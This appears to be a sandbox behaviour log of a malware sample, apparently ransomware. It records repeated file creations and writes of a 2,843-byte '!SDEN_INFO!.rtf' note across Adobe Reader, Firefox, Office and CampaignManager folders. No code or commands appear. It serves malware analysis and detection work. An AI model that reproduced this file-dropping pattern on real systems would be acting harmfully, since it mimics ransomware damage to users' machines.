File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\nl-nl\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\pt-br\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\pt-br\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\pt-br\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ro-ro\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ro-ro\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ro-ro\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\tr-tr\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\tr-tr\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\tr-tr\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\zh-cn\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\zh-cn\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\zh-cn\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\zh-tw\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\zh-tw\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\zh-tw\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\da-dk\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\da-dk\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\da-dk\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\de-de\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\de-de\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\de-de\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\hr-hr\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\hr-hr\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\hr-hr\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\hu-hu\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\hu-hu\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\hu-hu\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ru-ru\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ru-ru\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ru-ru\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nb-no\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nb-no\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nb-no\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\fi-fi\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\fi-fi\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\fi-fi\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\pl-pl\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\pl-pl\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\pl-pl\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sl-si\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sl-si\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sl-si\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\uk-ua\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\uk-ua\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\uk-ua\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\css\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\css\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\css\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ca-es\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ca-es\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ca-es\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\es-es\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\es-es\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\es-es\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fr-ma\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fr-ma\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fr-ma\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\nb-no\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\nb-no\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\nb-no\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ro-ro\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ro-ro\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ro-ro\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\tr-tr\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\tr-tr\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\tr-tr\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\css\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\css\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\illustrations.png, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\fi-fi\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\fi-fi\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\fi-fi\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\pl-pl\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\pl-pl\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\pl-pl\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\uk-ua\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\uk-ua\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\uk-ua\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\es-es\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\es-es\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\es-es\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\Microsoft Office 15\ClientX64\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Mozilla Firefox\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Mozilla Firefox\browser\features\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Mozilla Firefox\uninstall\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\rempl\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\da-DK\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\da-DK\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\da-DK\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-IE\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-IE\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-IE\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-ES\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-ES\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-ES\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\et-EE\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\et-EE\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\et-EE\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-FR\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-FR\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-FR\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\hr-HR\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\hr-HR\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\hr-HR\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ko-KR\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ko-KR\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ko-KR\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\lv-LV\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\lv-LV\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\lv-LV\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\uk-UA\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\uk-UA\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
